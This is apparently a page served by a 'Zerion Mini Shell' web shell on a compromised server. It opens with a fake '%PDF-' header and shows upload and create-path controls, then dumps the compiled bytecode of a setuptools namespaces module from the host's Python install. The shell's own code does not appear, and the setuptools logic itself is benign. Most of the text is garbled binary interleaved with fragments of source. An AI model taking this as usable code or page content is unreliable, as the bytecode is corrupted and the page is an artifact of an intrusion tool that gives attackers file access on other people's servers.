%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /lib/python3/dist-packages/setuptools/__pycache__/
Upload File :
Create Path :
Current File : //lib/python3/dist-packages/setuptools/__pycache__/namespaces.cpython-312.pyc

�


_�d���v�ddlZddlmZddlZejj
ZGd�d�ZGd�de�Zy)�N)�logc�P�eZdZdZd�Zd�Zd�ZdZ	dZ	d�Z	d�Z
d	�Zed
��Z
y)�	Installerz
-nspkg.pthc���|j�}|sytjj|j	��\}}||j
z
}|jj|�tjd|�t|j|�}|jrt|�yt|d�5}|j|�ddd�y#1swYyxYw)Nz
Installing %s�wt)�_get_all_ns_packages�os�path�splitext�_get_target�	nspkg_ext�outputs�appendr�info�map�_gen_nspkg_line�dry_run�list�open�
writelines)�self�nsp�filename�ext�lines�fs      �7/usr/lib/python3/dist-packages/setuptools/namespaces.py�install_namespaceszInstaller.install_namespacess����'�'�)�������(�(��)9�)9�);�<�
��#��D�N�N�"�������H�%�����(�+��D�(�(�#�.���<�<���K��
�(�D�
!�	 �Q�
�L�L���	 �	 �	 �s�>C�C"c��tjj|j��\}}||jz
}tjj|�syt
jd|�tj|�y)NzRemoving %s)	r	r
rrr
�existsrr�remove)rrrs   r�uninstall_namespaceszInstaller.uninstall_namespacess^�����(�(��)9�)9�);�<�
��#��D�N�N�"���w�w�~�~�h�'�������)�
�	�	�(��c��|jS�N)�target�rs rrzInstaller._get_target&s���{�{�r#)	zimport sys, types, osz#has_mfs = sys.version_info > (3, 5)z$p = os.path.join(%(root)s, *%(pth)r)z4importlib = has_mfs and __import__('importlib.util')z-has_mfs and __import__('importlib.machinery')z�m = has_mfs and sys.modules.setdefault(%(pkg)r, importlib.util.module_from_spec(importlib.machinery.PathFinder.find_spec(%(pkg)r, [os.path.dirname(p)])))zCm = m or sys.modules.setdefault(%(pkg)r, types.ModuleType(%(pkg)r))z7mp = (m or []) and m.__dict__.setdefault('__path__',[])z(p not in mp) and mp.append(p))z4m and setattr(sys.modules[%(parent)r], %(child)r, m)c��y)Nz$sys._getframe(1).f_locals['sitedir']�r's r�	_get_rootzInstaller._get_root?s��5r#c��t|jd��}|j�}|j}|j	d�\}}}|r||j
z
}dj
|�t�zdzS)N�.�;�
)�tuple�splitr*�_nspkg_tmpl�
rpartition�_nspkg_tmpl_multi�join�locals)r�pkg�pth�root�
tmpl_lines�parent�sep�childs        rrzInstaller._gen_nspkg_lineBsn���C�I�I�c�N�#���~�~����%�%�
� �^�^�C�0����U���$�0�0�0�J��x�x�
�#�f�h�.��5�5r#c��|jjxsg}ttt	|j
|���S)z,Return sorted list of all package namespaces)�distribution�namespace_packages�sorted�flattenr�
_pkg_names)r�pkgss  rrzInstaller._get_all_ns_packagesKs3��� � �3�3�9�r���g�c�$�/�/�4�8�9�:�:r#c#�K�|jd�}|r'dj|���|j�|r�&yy�w)z�
        Given a namespace package, yield the components of that
        package.

        >>> names = Installer._pkg_names('a.b.c')
        >>> set(names) == set(['a', 'a.b', 'a.b.c'])
        True
        r,N)r0r4�pop)r6�partss  rrBzInstaller._pkg_namesPs4�����	�	�#�����(�(�5�/�!��I�I�K��s�9>�>N)�__name__�
__module__�__qualname__r
rr"rr1r3r*rr�staticmethodrBr)r#rrr	sN���I� �$���K�"(�Q��;�6�6�;�
���r#rc��eZdZd�Zd�Zy)�DevelopInstallerc�>�tt|j��Sr%)�repr�str�egg_pathr's rr*zDevelopInstaller._get_rootas���C��
�
�&�'�'r#c��|jSr%)�egg_linkr's rrzDevelopInstaller._get_targetds���}�}�r#N)rGrHrIr*rr)r#rrLrL`s��(�r#rL)	r	�	distutilsr�	itertools�chain�
from_iterablerArrLr)r#r�<module>rWs8��	����/�/�
'�
'��T�T�n�y�r#

Zerion Mini Shell 1.0